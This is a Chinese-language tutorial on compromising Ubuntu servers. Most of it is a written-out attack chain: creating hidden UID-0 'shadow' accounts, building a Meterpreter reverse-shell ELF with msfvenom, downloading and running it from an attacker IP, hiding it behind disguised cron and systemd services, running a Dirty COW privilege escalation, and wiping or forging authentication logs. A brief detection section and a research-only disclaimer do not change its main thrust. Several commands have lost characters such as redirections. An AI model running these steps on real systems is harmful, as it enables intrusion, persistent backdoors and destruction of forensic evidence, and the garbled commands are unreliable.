1. 影子用户与木马攻击的基本概念在Linux系统中影子用户Shadow User是指那些在系统用户列表中不可见但实际拥有系统权限的隐藏账户。这类账户通常通过直接修改/etc/passwd、/etc/shadow等系统文件创建不会出现在常规的who、w或last等命令的显示结果中。攻击者常利用这种技术维持对已入侵系统的持久访问。木马攻击则是指通过植入恶意程序使攻击者能够远程控制目标系统的行为。在Ubuntu服务器环境下结合影子用户技术的木马攻击具有更强的隐蔽性和持久性。攻击者通常会先获取临时权限然后创建影子用户最后通过该用户部署木马程序。注意本文仅用于安全研究和技术防御目的任何未经授权的系统入侵行为均属违法。2. 攻击环境准备与前置条件2.1 攻击者环境配置典型的攻击环境需要以下组件Kali Linux攻击机最新版本Metasploit Framework包含msfvenom和msfconsole目标Ubuntu服务器假设已通过某种方式获得初始访问权限稳定的网络连接在Kali中需要确保Metasploit服务正常运行sudo systemctl start postgresql sudo msfdb init2.2 目标系统信息收集在实施攻击前需要收集目标系统的关键信息# 查看系统版本 lsb_release -a # 检查系统架构 uname -m # 查看已登录用户 who # 检查网络配置 ifconfig 或 ip a这些信息将决定后续木马生成和提权操作的参数设置。3. 影子用户的创建技术3.1 传统影子用户创建方法最基础的影子用户创建方式是直接编辑系统用户文件# 在/etc/passwd中添加用户UID通常设为0以获得root权限 echo hiddenuser:x:0:0:root:/root:/bin/bash /etc/passwd # 在/etc/shadow中添加密码哈希 openssl passwd -1 yourpassword echo hiddenuser:生成的哈希::::::: /etc/shadow这种方法虽然简单但容易被高级审计工具发现因为/etc/passwd文件的修改时间会更新可能触发文件完整性监控在较新版本的Ubuntu中需要额外的权限配置3.2 高级隐藏技术更隐蔽的做法是复用现有用户条目进行修改# 查找很少使用的系统账户 awk -F: ($3 1000) {print $1} /etc/passwd # 修改该用户的shell路径和UID usermod -s /bin/bash -u 0 目标用户名还可以通过LD_PRELOAD劫持或内核模块注入等技术实现完全隐藏的用户账户这些方法需要更高的技术能力。4. 木马生成与植入技术4.1 使用msfvenom生成定制木马针对Ubuntu系统的木马通常采用ELF格式msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST攻击机IP \ LPORT监听端口 \ -f elf /var/www/html/update_package关键参数说明-p指定payload类型linux/x64/meterpreter/reverse_tcp适用于大多数现代Ubuntu系统LHOST监听服务器IP攻击者机器LPORT监听端口建议使用443等常见端口避免被防火墙拦截-f输出格式elf是Linux可执行文件4.2 木马植入方法常见植入技术包括Web下载方式wget http://攻击机IP/update_package -O /tmp/.systemd-update chmod x /tmp/.systemd-update /tmp/.systemd-update SSH隧道传输# 在攻击机执行 cat update_package | ssh 目标用户目标IP cat /tmp/.ssh-helper chmod x /tmp/.ssh-helper利用Cron持久化(crontab -l 2/dev/null; echo reboot /tmp/.systemd-update) | crontab -5. 攻击链完整实施流程5.1 阶段一初始访问假设攻击者已经通过以下方式之一获得初始访问权限SSH弱密码爆破Web应用漏洞利用社会工程学攻击5.2 阶段二权限提升# 检查可利用的本地提权漏洞 uname -a dpkg -l | grep linux-image # 尝试经典脏牛提权 gcc dirtycow.c -o dirtycow -pthread ./dirtycow5.3 阶段三创建影子用户# 创建隐藏的sudo用户 useradd -o -u 0 -g 0 -s /bin/bash -d /root hiddenadmin passwd hiddenadmin # 从日志中清除痕迹 sed -i /hiddenadmin/d /var/log/auth.log5.4 阶段四木马部署# 下载并执行木马 curl http://攻击机IP/update_package -o /usr/lib/systemd/systemd-update chmod x /usr/lib/systemd/systemd-update # 创建systemd服务实现持久化 cat /etc/systemd/system/network-helper.service EOF [Unit] DescriptionNetwork Helper Service [Service] ExecStart/usr/lib/systemd/systemd-update Restartalways Userroot [Install] WantedBymulti-user.target EOF systemctl enable network-helper systemctl start network-helper6. 防御与检测技术6.1 影子用户检测方法# 检查/etc/passwd中的异常用户 awk -F: ($3 0) {print $1} /etc/passwd | grep -v root # 检查隐藏进程 ps -ef | grep -v \[6.2 木马检测技术# 检查异常网络连接 netstat -antp | grep ESTABLISHED # 检查可疑的定时任务 crontab -l ls -la /etc/cron* # 使用rkhunter进行Rootkit检测 sudo apt install rkhunter sudo rkhunter --check6.3 系统加固建议定期审计系统用户和权限启用SELinux或AppArmor限制cron和systemd服务创建权限监控重要系统文件的修改保持系统和软件更新7. 攻击后的痕迹清理7.1 日志清理技术# 清除特定用户在auth.log中的记录 sed -i /用户名/d /var/log/auth.log # 清除lastlog记录 echo /var/log/lastlog # 清除wtmp和utmp cat /dev/null /var/log/wtmp cat /dev/null /var/log/btmp7.2 更高级的日志篡改对于有日志监控的系统直接删除日志文件可能触发警报。更隐蔽的做法是# 使用工具伪造日志时间戳 apt install libdatetime-perl perl -e use POSIX qw(strftime); $|1; while(1){ print strftime(%b %e %H:%M:%S, localtime). hostname sudo: session opened for user root by (uid0)\n; sleep(60); } /var/log/auth.log8. 实际案例分析在一次真实的渗透测试中攻击者利用以下步骤成功入侵Ubuntu服务器通过暴露的Jenkins接口获得初始shell访问利用过期的Linux内核漏洞CVE-2021-4034提升到root权限创建名为backupd的影子用户useradd -o -u 0 -g 0 -s /bin/bash -d /var/backups/.cache backupd部署定制化的Meterpreter木马伪装成系统更新服务通过systemd实现持久化并配置每5分钟向C2服务器发送心跳防御方最终通过以下方式发现入侵异常的出站DNS查询模式/usr/lib/systemd目录下存在异常的二进制文件系统负载与正常基准的偏差这个案例展示了现代攻击中如何结合影子用户和高级木马技术实现长期潜伏。防御这类攻击需要多层安全防护和持续监控。